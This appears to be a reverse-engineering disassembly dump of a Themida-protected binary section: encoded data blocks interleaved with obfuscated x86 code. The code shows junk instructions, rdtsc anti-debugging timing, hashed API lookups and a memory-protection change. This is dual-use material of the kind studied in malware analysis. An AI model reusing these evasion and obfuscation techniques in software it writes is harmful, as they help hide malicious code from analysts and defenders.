dd 0D756C12Ch, 2DB1F1E5h, 1E1A84Dh, 31000003h, 0C962AF60h
dd 66FF4CC3h, 59EEB24h, 9F38858Ah, 0E4D421EEh, 9F701DD1h
dd 3DD2B952h, 0D63957F0h, 719EF089h, 0F3FB4A24h, 4DF6DF94h
dd 72340AE7h, 97BEF31Ch, 0CA5DB2DEh, 4605ECF5h, 0F4D7623Eh
dd 0D3A52649h, 0DE7023FCh, 0A69B144h, 0F6E48502h, 80EBF64Dh
dd 0B833C33h, 7A117104h, 7C4DF6E4h, 1CF39873h, 0D3DBF2B1h
dd 4DF6E4B4h, 4266FEC7h, 32178290h, 0BDC534C7h, 500C9377h
dd 0A3E4EC03h, 0E047E028h, 0CF81ACD5h, 0A81AA75h, 65242F77h
dd 582F374Eh, 2B47DF87h, 127C8D20h, 0F7968307h, 5178AD18h
dd 0DF883E49h, 0C7323D47h, 18760F5Ch, 0D9AAC2F7h, 1D47DF87h
dd 576E2D14h, 8A1DF29Eh, 0F4FF6E2Ah, 87465149h, 24FC0CEh
dd 9BECF40Bh, 0C14DF6BEh, 0F6BECEB9h, 0AA2AD4Dh, 335B6CFFh
dd 0C780A7DCh, 42154AC5h, 0BF0C7B83h, 646F4DF6h, 0EF3FCD1h
dd 3755474Fh, 1D28500Ch, 0A2AAC1E8h, 47DF87E5h, 23F88B96h
dd 646C2B1Ah, 49F4FDCCh, 0B3084FD0h, 47ABAFEEh, 345D3857h
dd 8B1E0396h, 0C0793843h, 0D03F4ECBh, 285DC89Bh, 9A53C255h
dd 14E85DF4h, 51AE630Eh, 9EA627E6h, 2591581Eh, 0FA939023h
dd 1F467B94h, 2B870008h, 0C5CD4DF7h, 4DF72BC2h, 131EB6C1h
dd 3D6B2080h, 828B4DF7h, 0D4CCD493h, 9F500CADh, 6427F29Eh
dd 0E40B40ABh, 0E000ABDCh, 62CDD847h, 2C35C2F7h, 0C3CD8645h
dd 424AB94Ch, 49F216B0h, 6D55D4DFh, 0C5EBA57Ah, 16A5920h
dd 0F79A0000h, 5A32CB18h, 0BBCF68B5h, 216E0754h, 8508A1EEh
dd 684D3D8Ah, 0BB080786h, 59A66922h, 0F23FD0C0h, 8DDA3559h
dd 2B5C64B3h, 584DF6E1h, 0A5AEA57Bh, 0A7F901C0h, 9A49F4D7h
dd 0E419F699h, 329D721Bh, 0FC0592C7h, 104E5615h, 0D05008EBh
dd 0CBD6B1B9h, 9AA547E4h, 35B4BF07h, 0EDB2A133h, 5531ABFh
dd 35000001h, 0CD66B35Ch, 6A0350BFh, 9A2EF20h, 0A33C8986h
dd 0E8D825EAh, 0A36C21CDh, 41CEBD56h, 0DA355BF4h, 759AF48Dh
dd 0F7FF4E28h, 4DF6E190h, 0AE4016F3h, 4FC0CAA5h, 1DDC471Ah
dd 0F4D78315h, 2E5D5E49h, 6ED9ACE1h, 0F11E7039h, 0F9167932h
dd 0BED06966h, 868F1C51h, 48C9E09Fh, 7C0FDEAFh, 628B5E93h
dd 52CB7CAh, 0C321F1D8h, 35952893h, 500C3DFFh, 0B14A97A2h
dd 4EE734DBh, 0ED86D33Ch, 0F5AE6DA2h, 0E6E37699h, 82CF404Dh
dd 1BADA4E9h, 952ADBD3h, 39D21F8Ah, 7970BD52h, 0A3FD0C0h
dd 0FD93A437h, 343C5312h, 47DF9A53h, 0BEC9D130h, 0BD47DF9Ah
dd 0B7B447B2h, 529F701Eh, 4B3C445Bh, 3847DF9Ah, 2899A2Dh
dd 0DADE7317h, 0C9C01C37h, 815489F4h, 0EE9E5716h, 34918E21h
dd 0CE87462Bh, 88904FC0h, 47DFCFFFh, 6FDE717Ch, 0F545CD67h
dd 0A0EFF049h, 6CF046Fh, 0FC88788h, 300937Ch, 36Ch, 3422D600h
dd 0BBF01F72h, 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch
dd 4D828D00h, 0CF040B84h, 568B8406h, 0DB10FF8Dh, 211968D4h
dd 34890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push 41B8h
mov [esp], ecx
push ebp
mov ebp, 57ED4186h
or ebp, 75C2551Eh
push edi
mov edi, 71F82D81h
xor ebp, edi
pop edi
mov eax, ebp
pop ebp
push esp
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
sub dword ptr [esp], 17EA04C2h
pop dword ptr [ecx+8]
add dword ptr [ecx+8], 17EA04C2h
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_583BD9
; ---------------------------------------------------------------------------
db 9Dh
dd 40BD5F05h, 71C9FA01h, 0AF69F7D4h, 178367B8h, 8BC50306h
dd 6E8C3h, 0FDD00000h, 80F25D34h, 2860Fh, 0D3B30000h, 74B9665Fh
dd 0C0C7812Fh, 0F9000072h, 12E9C02Bh, 83000000h, 7C333597h
dd 0BCC6E63Fh, 26C82F28h, 64ACA07Ch, 7348B5Ch, 0F681A6B1h
dd 0B76CB1h, 621147BAh, 8AEE8168h, 0B92BF326h, 7AFE31F8h
dd 23B4F681h, 88B36D82h, 0D3816656h, 48F8E1Ah, 0DF8B6607h
dd 0B720E281h, 0E8836E6Ah, 0CB816604h, 0F8813085h, 0FFFF8DF0h
dd 0D850Fh, 8B660000h, 30E9D8h, 17080000h, 0E9A23353h
dd 0Fh, 26056A24h, 3DCB67D7h, 0D137B2C2h, 0E9365DD0h, 0FFFFFF91h
dd 0FE16C4C8h, 0CAC07ED6h, 0B81DCD14h, 0C75829BEh, 19E9DDDFh
dd 4B000000h, 17F477h, 5 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5D45B0
; ---------------------------------------------------------------------------
db 8Fh, 2, 0Dh
dd 0AA6527C0h, 49C6C45Dh, 0E32C63FCh, 7F90FD96h, 7B734232h
dd 17B0FD12h, 0B54E9B74h, 4EE734DBh, 0A882CF40h, 0E4365159h
dd 68454DF6h, 0F31C7292h, 7798F5BEh, 631C332Ah, 0E0B3E827h
dd 0DF5F5730h, 86192447h, 0C1F61975h, 0A8396F8h, 5F947B0Fh
dd 19EC218Ch, 0DCB079AEh, 5C049A75h, 1C87DE2Dh, 991A51E7h
dd 320907EDh, 77598276h, 0EABD7F11h, 0C91864F7h, 0E6A1A9C0h
dd 9547DFF0h, 0A8E6F78Ah, 5427A867h, 0D11A285h, 7A1310A3h
dd 13ACF916h, 1EF19C7Dh, 0D6577EB3h, 3D09426h, 0D1EB1A6h
dd 0B45C917Eh, 0C2CE19C8h, 2767004Dh, 1A7029E8h, 137E91FFh
dd 0E0AA0BDEh, 9427FA2Fh, 0ABF797AFh, 37A347DFh, 0B2E3E3AAh
dd 7A3822BCh, 8A000000h, 92F5FD14h, 0F147DF5Fh, 4C4253E6h
dd 174CC3CDh, 8CA4D944h, 47DF6001h, 0DBB22F9Bh, 22BCFEFBh
dd 130h, 1A728200h, 95F7C0F5h, 137C457Ah, 6843DFCh, 6E01D409h
dd 2DFF389h, 97BAD089h, 6A23BFD3h, 4CDF4A6Dh, 626A513Bh
dd 47DF7425h, 0D53A5556h, 0F762CDA0h, 927D11AAh, 0D3B4BCD3h
dd 1F47DF73h, 0F1F20804h, 202BC34Dh, 0E099908Dh, 5B2E63ACh
dd 0E67996FAh, 0F41B72B8h, 2596F6BFh, 40F01F6Ch, 47DF5F47h
dd 0BACDD534h, 0C947DF5Fh, 29E853BEh, 95321F70h, 6FA26127h
dd 0A972A712h, 26F92EE1h, 644328BBh, 0A7E601E0h, 757B0C14h
dd 0FD0847DFh, 751AD392h, 130A079Ah, 0B7043F92h, 0F1120AE4h
dd 0C29AC303h, 0FA91F26Dh, 1D718215h, 0DD96BDF2h, 0BDCE61AEh
dd 0D9404CCDh, 0B8ED58B7h, 3ABB7AE5h, 0BBC7262Fh, 8166F9F9h
dd 338D7B8h, 89BE513Ah, 30BB26AAh, 0A97CB15Eh, 0E7FA163Eh
dd 0BC5C50A0h, 0D0BF7822h, 0B1AAAC3Fh, 0FC000000h, 98A01B72h
dd 47DF5FEFh, 0E116818Ch, 41497218h, 47DF5F46h, 8ABF2A35h
dd 0E601E0F4h, 241B68A7h, 97A9C9A3h, 0DFAFF88Fh, 57808B47h
dd 992CEE88h, 0D50A0588h, 3038830Ch, 47DFF457h, 525A1924h
dd 47DFF535h, 9BD03B46h, 0DC4BCC0Bh, 0D8DF1A74h, 0BF5EB17h
dd 8AF587BFh, 4D36ABF7h, 8D592E36h, 1F2A47DFh, 0D2D71F8Ch
dd 586422BCh, 75000000h, 9831565Eh, 28947DFh, 6D05D80Dh
dd 9781060Eh, 0F70247DFh, 14CBF98Ch, 5F92F5FDh, 0E6F147DFh
dd 0C44B4253h, 45CAC68Fh, 0D2474710h, 0B6EB56B9h, 3B709FEDh
dd 0BA1FC276h, 0E500E125h, 641A67A8h, 0C0F51A72h, 0DF5FE6A8h
dd 974AB647h, 0BCFE90F0h, 14522h, 72970000h, 0F9C2F718h
dd 1FC2BC95h, 1EA09634h, 0EAD67EB3h, 1D9EECF7h, 0DFA67215h
dd 9B061147h, 4E6D23DCh, 0DFA74146h, 0CC374247h, 0D6DF3C39h
dd 981930EFh, 2BA57D51h, 0C9BCB95h, 0E0F9F019h, 0DC335ABBh
dd 0A15E949h, 253049F2h, 40474F66h, 1C4DF20Ah, 0F2097314h
dd 6D05104Dh, 21EACF62h, 0BC55A26Dh, 0F0083DD2h, 4DF2099Dh
dd 6DA26D21h, 0CD8429DCh, 13744440h, 985D927Dh, 53E8FDE4h
dd 7717D20Fh, 0DCB24B98h, 5935FE33h, 4576F7B6h, 0F737B102h
dd 2605EA7Dh, 8D463FA2h, 9F701BFEh, 992CFF34h, 0BC090688h
dd 8F800CC5h, 87F4875Ah, 24AE630Fh, 164DCh, 0A5AE2E00h
dd 154AC5CAh, 1018D742h, 49F17712h, 769DD2DDh, 87826FF5h
dd 7EDFBED5h, 0FACD020Dh, 0D7385667h, 21305F18h, 185B559Bh
dd 72319CFBh, 0F2011D6Ah, 0C0535E4Dh, 0AB642AC3h, 2EE1AD76h
dd 4B961AF9h, 6221EEA0h, 44434Bh, 2C374DF2h, 2FA79C99h
dd 8F24AE5Fh, 0D177078h, 59644DF2h, 63C4C6h, 14160000h
dd 0CB132B93h, 3DD08FE4h, 0F7B5E68h, 97F8CB00h, 0EE116F9h
dd 652BE4A3h, 38E481AAh, 0B700FD12h, 0BAADB524h, 0C9C7E006h
dd 4B6289BEh, 0DEB74443h, 5A3637C7h, 42AD80B5h, 0B8384FAFh
dd 0D286C7DEh, 1906100Fh, 38A435Ah, 0DB04D70Ch, 0AE7F7B77h
dd 13730627h, 47DF2D54h, 780F5C67h, 9Dh, 539314E2h, 0EC236B23h
dd 15BBE4B7h, 370C9F18h, 7C3F512Eh, 0E01E1374h, 0FA657047h
dd 86C8D08Fh, 8149F23Fh, 16784176h, 7B13ACF9h, 45475F94h
dd 3B4DF1F6h, 0A5741BD4h, 21F429E6h, 0D43B55B6h, 0ED39CC9Fh
dd 7A95F9F4h, 0DAC7D02Dh, 7137131Bh, 45465007h, 0BE91C649h
dd 0A9DE315Dh, 6D366BD6h, 182FEE21h, 0E4727710h, 9DA50447h
dd 47E472EAh, 90238E99h, 64ABE2ABh, 0E728662Fh, 7071B5B2h
dd 0A23F2B6Bh, 0B45B30E9h, 4419AC7Fh, 8097563Bh, 0B84BC4C7h
dd 0F9EDF258h, 0B5020D49h, 0C0A5AEFFh, 5C31EA01h, 18AB7EB3h
dd 0F4DA92B8h, 0D645C649h, 0D586208Bh, 4EC1CD2Eh, 336873BBh
dd 2CEB246Ah, 36B0C0ABh, 0A033B481h, 8B840AA3h, 987713CCh
dd 18FD9063h, 0BB5438F1h, 0A8DD325Ah, 1DE242D5h, 783C3AAFh
dd 1C727D64h, 780889Fh, 745FD407h, 6CEB969h, 0A2AD5FD4h
dd 3D51EA37h, 0BBD49DD2h, 34561F54h, 0ADDDA6DBh, 2C642D62h
dd 0FD286E3h, 439E8ACAh, 0DC29E6A8h, 8FC44B43h, 8BDDE768h
dd 920C7B83h, 646F5FD3h, 743AD3Bh, 126574h, 0D58E0000h
dd 4F2257B8h, 49FF8890h, 717C5FD4h, 3422B0DEh, 0BBF01F72h
dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h
dd 0CF040B84h, 568B8406h, 0DB10FF8Dh, 0E38953D4h, 4C381h
dd 0EB830000h, 241C8704h, 2404895Ch, 7B1D68h, 242C8900h
dd 5C2568h, 243C8900h, 1784E368h, 242C8B06h, 4C481h, 8B540000h
dd 0C483243Ch, 0EE895604h, 8B087789h, 0C4832434h, 2434FF04h
dd 4C4815Fh, 0FF000000h, 815D2434h, 4C4h, 0F62FE900h, 3D28FFFAh
dd 28549ED1h
; ---------------------------------------------------------------------------
loc_5D45B0: ; CODE XREF: Themida_:005D3FB8j
mov eax, 6178A73h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0BAh, 0C6h, 30h
dd 45B6912Ch, 0BBF8B461h, 0B035E060h, 0CF459C3Dh, 5A32E16h
dd 7A4F4C6Ch, 3E029F61h, 0C1A51317h, 0E0D04247h, 1C8E93Fh
dd 88880000h, 7 dup(88880041h), 41h, 3 dup(0)
dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h
dd 11118888h, 16441111h, 0
dd 8800h, 88888800h, 0
dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
dd 16E6FFFFh, 16FA0040h, 40h, 0
dd 30000h, 14h dup(0)
dd 8C20000h, 75726600h, 0FE80h, 11h dup(0)
dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6178CDFh, 2C85C760h
dd 6178Ch, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6178C30h
dd 6, 24E9h, 34858D00h, 5006178Ch, 8C84858Dh, 56500617h
dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h, 178C3085h
dd 0B5036106h, 6178C30h, 8C2C858Bh, 0C35D0617h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and byte ptr [ebp-5], 0
and byte ptr [ebp-6], 0
xor dl, dl
and [ebp-1], dl
cmp dword ptr [ebp+8], 0
jz loc_5D4845
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
mov byte ptr [ebp-2], 1
jmp loc_5D4851
; ---------------------------------------------------------------------------
loc_5D4845: ; CODE XREF: Themida_:005D482Ej
and byte ptr [ebp-3], 0
and byte ptr [ebp-2], 0
mov byte ptr [ebp-4], 4
loc_5D4851: ; CODE XREF: Themida_:005D4840j
push ebx
push esi
push edi
loc_5D4854: ; CODE XREF: Themida_:005D48A9j
; Themida_:005D48C5j ...
mov edi, [ebp+0Ch]
mov esi, [ebp+10h]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_5D4867: ; CODE XREF: Themida_:005D488Ej
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 6178D96h
lea ebp, [ebp+6178C0Ch]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_5D4894
inc cl
cmp cl, 0Bh
jb loc_5D4867
loc_5D4894: ; CODE XREF: Themida_:005D4883j
cmp cl, 0Bh
jz loc_5D48F1
cmp al, 66h
jnz loc_5D48D2
cmp byte ptr [ebp-5], 0
jnz loc_5D4854
cmp byte ptr [ebp-3], 0
mov byte ptr [ebp-5], 1
jnz loc_5D48CA
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
jmp loc_5D4854
; ---------------------------------------------------------------------------
loc_5D48CA: ; CODE XREF: Themida_:005D48B7j
and byte ptr [ebp-3], 0
mov byte ptr [ebp-4], 4
loc_5D48D2: ; CODE XREF: Themida_:005D489Fj
cmp al, 67h
jnz loc_5D4854
cmp byte ptr [ebp-6], 0
jnz loc_5D4854
xor byte ptr [ebp-2], 1
mov byte ptr [ebp-6], 1
jmp loc_5D4854
; ---------------------------------------------------------------------------
loc_5D48F1: ; CODE XREF: Themida_:005D4897j
mov ebx, [ebp+14h]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5D491D
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5D4922
; ---------------------------------------------------------------------------
loc_5D491D: ; CODE XREF: Themida_:005D48FCj
movzx edi, al
shr edi, 1
loc_5D4922: ; CODE XREF: Themida_:005D4918j
push ebp
call $+5
pop ebp
sub ebp, 6178E4Eh
lea ebp, [ebp+6178B0Ch]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp-7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp-6], bl
jz loc_5D4AA4
mov ebx, [ebp+0Ch]
mov byte ptr [ebp+0Bh], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov [ebp+17h], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz byte ptr [ebp-5]
shr ecx, 6
sub ecx, 0
jz loc_5D49E8
dec ecx
jz loc_5D49CB
dec ecx
jnz loc_5D4A3B
cmp byte ptr [ebp-2], 0
jnz loc_5D4A37
cmp byte ptr [ebp-5], 0
jz loc_5D49AA
mov byte ptr [ebp+0Bh], 2
loc_5D49AA: ; CODE XREF: Themida_:005D49A0j
add byte ptr [ebp+0Bh], 4
push ebp
call $+5
pop ebp
sub ebp, 6178EDAh
mov dword ptr [ebp+6178C2Ch], 1
pop ebp
jmp loc_5D4A3B
; ---------------------------------------------------------------------------
loc_5D49CB: ; CODE XREF: Themida_:005D4985j
cmp byte ptr [ebp-2], 0
jnz loc_5D4A15
cmp byte ptr [ebp-5], 0
jz loc_5D4A15
mov byte ptr [ebp+0Bh], 2
jmp loc_5D4A15
; ---------------------------------------------------------------------------
loc_5D49E8: ; CODE XREF: Themida_:005D497Ej
cmp byte ptr [ebp-2], 0
jnz loc_5D4A2E
cmp byte ptr [ebp-5], 0
jz loc_5D4A1D
movzx ecx, byte ptr [ebp+17h]
mov edx, [ebp+0Ch]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5D4A15
mov [ebp+0Bh], cl
loc_5D4A15: ; CODE XREF: Themida_:005D49CFj
; Themida_:005D49D9j ...
inc byte ptr [ebp+0Bh]
jmp loc_5D4A3B
; ---------------------------------------------------------------------------
loc_5D4A1D: ; CODE XREF: Themida_:005D49F6j
cmp dl, 5
jnz loc_5D4A3B
mov [ebp+0Bh], dl
jmp loc_5D4A3B
; ---------------------------------------------------------------------------
loc_5D4A2E: ; CODE XREF: Themida_:005D49ECj
cmp dl, 6
jnz loc_5D4A3B
loc_5D4A37: ; CODE XREF: Themida_:005D4996j
mov byte ptr [ebp+0Bh], 3
loc_5D4A3B: ; CODE XREF: Themida_:005D498Cj
; Themida_:005D49C6j ...
dec byte ptr [ebp+0Bh]
jz loc_5D4A69
movzx ecx, byte ptr [ebp+0Bh]
mov [ebp+8], ecx
loc_5D4A4B: ; CODE XREF: Themida_:005D4A61j
movzx esi, byte ptr [ebp+17h]
mov ecx, [ebp+0Ch]
mov edx, [ebp+10h]
inc byte ptr [ebp+17h]
dec dword ptr [ebp+8]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5D4A4B
mov esi, edx
loc_5D4A69: ; CODE XREF: Themida_:005D4A3Ej
and al, 0FEh
cmp al, 0F6h
jnz loc_5D4A9E
cmp edi, 7Fh
ja loc_5D4A9E
test bl, 38h
jnz loc_5D4A9E
cmp byte ptr [ebp-7], 0
jz loc_5D4A98
movzx eax, byte ptr [ebp-4]
jmp loc_5D4A9B
; ---------------------------------------------------------------------------
loc_5D4A98: ; CODE XREF: Themida_:005D4A89j
push 1
pop eax
loc_5D4A9B: ; CODE XREF: Themida_:005D4A93j
mov [ebp-1], al
loc_5D4A9E: ; CODE XREF: Themida_:005D4A6Dj
; Themida_:005D4A76j ...
mov dl, [ebp+17h]
mov bl, [ebp-6]
loc_5D4AA4: ; CODE XREF: Themida_:005D494Ej
mov al, bl
and eax, 7
sub eax, 4
jz loc_5D4ACF
dec eax
dec eax
jz loc_5D4AC5
and bl, 7
add [ebp-1], bl
jmp loc_5D4AD7
; ---------------------------------------------------------------------------
loc_5D4AC5: ; CODE XREF: Themida_:005D4AB4j
mov al, [ebp-3]
add al, 6
jmp loc_5D4AD4
; ---------------------------------------------------------------------------
loc_5D4ACF: ; CODE XREF: Themida_:005D4AACj
mov al, [ebp-3]
add al, 4
loc_5D4AD4: ; CODE XREF: Themida_:005D4ACAj
add [ebp-1], al
loc_5D4AD7: ; CODE XREF: Themida_:005D4AC0j
mov al, [ebp-1]
dec byte ptr [ebp-1]
test al, al
jz loc_5D4AFF
movzx ecx, byte ptr [ebp-1]
inc ecx
loc_5D4AEA: ; CODE XREF: Themida_:005D4AF9j
mov edi, [ebp+0Ch]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_5D4AEA
loc_5D4AFF: ; CODE XREF: Themida_:005D4ADFj
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
lea eax, [ebp+6178CD9h]
mov [ebp+6121AEDh], eax
jmp loc_5D4D7D
; ---------------------------------------------------------------------------
pusha
mov cx, ds
test cl, 4
jz loc_5D4B59
push 1
push dword ptr [ebp+61217F1h]
lea eax, [ebp+615827Ah]
call eax
mov [ebp+6121A5Dh], eax
mov edi, esi
shr edi, 0Ch
push 20060000h
push 0
push 2
push edi
push 1000Dh
call dword ptr [ebp+6121A5Dh]
jmp loc_5D4B8B
; ---------------------------------------------------------------------------
loc_5D4B59: ; CODE XREF: Themida_:005D4B1Ej
mov byte ptr [ebp+61215C1h], 56h
push 0A9C530DFh
push dword ptr [ebp+6123101h]
lea eax, [ebp+615827Ah]
call eax
mov [ebp+6121E95h], eax
lea eax, [ebp+6121841h]
push eax
push 40h
push 5
push esi
call dword ptr [ebp+6121E95h]
loc_5D4B8B: ; CODE XREF: Themida_:005D4B54j
popa
retn
; ---------------------------------------------------------------------------
align 10h
dd 2 dup(0)
dd 0D48B5200h, 8428B60h, 90BB8589h, 428B0617h, 0B385890Ch
dd 8B061790h, 85891042h, 61790B7h, 90F1B58Dh, 858D0617h
dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 1790BBB5h, 0B3858B06h
dd 83061790h, 1790B7BDh, 840F0006h, 7, 2E90689h, 88000000h
dd 0CF06h, 0
dd 8B520000h, 428B60D4h, 0BB858908h, 8D061790h, 179142B5h
dd 0A1858D06h, 0FF005B8Eh, 8B5A61D0h, 1790BB85h, 4C206h
dd 90BB858Bh, 8B0617h, 90BB8589h, 0CF0617h, 60000000h
dd 9118B589h, 85890617h, 6179114h, 24E5858Dh, 408B0612h
dd 51858944h, 8D061791h, 179187B5h, 0A1858D06h, 0FF005B8Eh
dd 858B61D0h, 6179118h, 149D8BC3h, 0F061791h, 33C43B7h
dd 785B8BD8h, 91149D03h, 738B0617h, 14B50324h, 56061791h
dd 8B207B8Bh, 0BD031C73h, 6179114h, 9114B503h, 83FC0617h
dd 8B41FFC9h, 1791189Dh, 3178B06h, 17911495h, 4C78306h
dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh
dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
dd 386048Bh, 17911485h, 18858906h, 8B061791h, 8BCE8BF0h
dd 51BD81C1h, 61791h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h
dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 6179151h
dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 51BD8100h
dd 61791h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h
dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
dd 80h, 1E840Fh, 0BD810000h, 6179151h, 0C0300000h, 0E840Fh
dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h
db 0CFh
; ---------------------------------------------------------------------------
loc_5D4D7D: ; CODE XREF: Themida_:005D4B12j
lea eax, [ebp+61790BFh]
mov [ebp+6122835h], eax
lea eax, [ebp+6179155h]
mov [ebp+6121EF9h], eax
lea eax, [ebp+617911Ch]
mov [ebp+61203F9h], eax
jmp loc_5D4EE2
; ---------------------------------------------------------------------------
align 4
dd 4Eh dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5D4EE2: ; CODE XREF: Themida_:005D4DA1j
cmp dword ptr [ebp+6121FC9h], 1
jz loc_5D546A
pusha
mov al, 0D0h
jmp loc_5D4F09
; ---------------------------------------------------------------------------
db 5Bh
dd 0B14B5A74h, 656A048Fh, 68A3159Bh, 986B6737h
db 80h
; ---------------------------------------------------------------------------
loc_5D4F09: ; CODE XREF: Themida_:005D4EF2j
popa
mov byte ptr [ebp+61215C1h], 43h
jmp loc_5D4F2A
; ---------------------------------------------------------------------------
dw 7321h
dd 17C52B01h, 6375EC46h, 435F2B73h, 57BB8391h
db 94h, 6Ah
; ---------------------------------------------------------------------------
loc_5D4F2A: ; CODE XREF: Themida_:005D4F11j
push 7D2BBDAFh
push eax
push edx
pusha
mov ebx, edx
push ebx
pop ecx
popa
rdtsc
jmp loc_5D4F49
; ---------------------------------------------------------------------------
dw 996Bh
dd 0C6C6A056h, 76CEE51Ch
db 2Bh
; ---------------------------------------------------------------------------
loc_5D4F49: ; CODE XREF: Themida_:005D4F39j
pop edx
pop eax
add dword ptr [esp], 6F7A1346h
jbe loc_5D4F68
jp loc_5D4F68
jmp loc_5D4F68
; ---------------------------------------------------------------------------
db 81h
dd 0B2AFFB24h
; ---------------------------------------------------------------------------
loc_5D4F68: ; CODE XREF: Themida_:005D4F52j
; Themida_:005D4F58j ...
push dword ptr [ebp+6123101h]
jmp loc_5D4F81
; ---------------------------------------------------------------------------
db 0Eh
dd 0F3CFE7B4h, 5E013A5h, 77C081E4h
db 34h
; ---------------------------------------------------------------------------
loc_5D4F81: ; CODE XREF: Themida_:005D4F6Ej
lea eax, [ebp+615827Ah]
jg loc_5D4F8E
cmc
loc_5D4F8E: ; CODE XREF: Themida_:005D4F87j
call eax
pusha
jg loc_5D4F9A
mov ax, si
loc_5D4F9A: ; CODE XREF: Themida_:005D4F91j
xor di, 82DCh
popa
mov [ebp+6121DE5h], eax
pusha
pusha
or dx, 0BC7h
and bx, 6389h
popa
jmp loc_5D4FCB
; ---------------------------------------------------------------------------
dd 0CF0EC2C1h, 0F1153110h, 75D933Ah, 0C34DF577h
db 0ECh, 0E0h, 0A4h
; ---------------------------------------------------------------------------
loc_5D4FCB: ; CODE XREF: Themida_:005D4FB3j
popa
mov byte ptr [ebp+61215C1h], 50h
js loc_5D4FE0
pusha
adc ax, 0F2EFh
popa
loc_5D4FE0: ; CODE XREF: Themida_:005D4FD3j
push 0E728CB97h
jl loc_5D4FF9
push eax
push edx
jnb $+6
rdtsc
pusha
popa
pop edx
pop eax
loc_5D4FF9: ; CODE XREF: Themida_:005D4FE5j
xor dword ptr [esp], 4F8566C1h
pusha
jmp loc_5D5019
; ---------------------------------------------------------------------------
dw 0B6E0h
dd 9F0C074Ch, 78A008D3h, 3F6C3AD0h, 0B997D716h
db 2Eh
; ---------------------------------------------------------------------------
loc_5D5019: ; CODE XREF: Themida_:005D5001j
ja loc_5D5025
js $+6
loc_5D5025: ; CODE XREF: Themida_:loc_5D5019j
popa
push dword ptr [ebp+6123101h]
jmp loc_5D503E
; ---------------------------------------------------------------------------
jnb short loc_5D50A1
xor ebx, ebp
add [edi], al
mov al, ds:0B4934341h
stosb
lodsd
loc_5D503E: ; CODE XREF: Themida_:005D502Cj
lea eax, [ebp+615827Ah]
push 0
push ebp
call sub_5D504F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D504F proc near ; CODE XREF: Themida_:005D5047p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5D504F endp
; ---------------------------------------------------------------------------
mov esi, 37DCBEF5h
dec ebx
pushf
jnz loc_5D507F
jmp loc_5D507F
; ---------------------------------------------------------------------------
db 6Dh, 6Bh, 0AEh
; ---------------------------------------------------------------------------
adc [esi+38FCC5AEh], al
adc eax, 0B674A7A2h
loc_5D507F: ; CODE XREF: Themida_:005D5066j
; Themida_:005D506Cj
call eax
pusha
stc
push eax
jmp loc_5D5090
; ---------------------------------------------------------------------------
db 6Ch, 97h, 0F4h
dd 55721971h
; ---------------------------------------------------------------------------
loc_5D5090: ; CODE XREF: Themida_:005D5084j
pop ecx
popa
pusha
call near ptr loc_5D50A1+3
sbb edi, [bx+di]
cmp [edi-500C0655h], edi
loc_5D50A1: ; CODE XREF: Themida_:005D5031j
; Themida_:005D5093p
call far ptr 5BDFh:0B70F528Ch
movsx eax, ax
popa
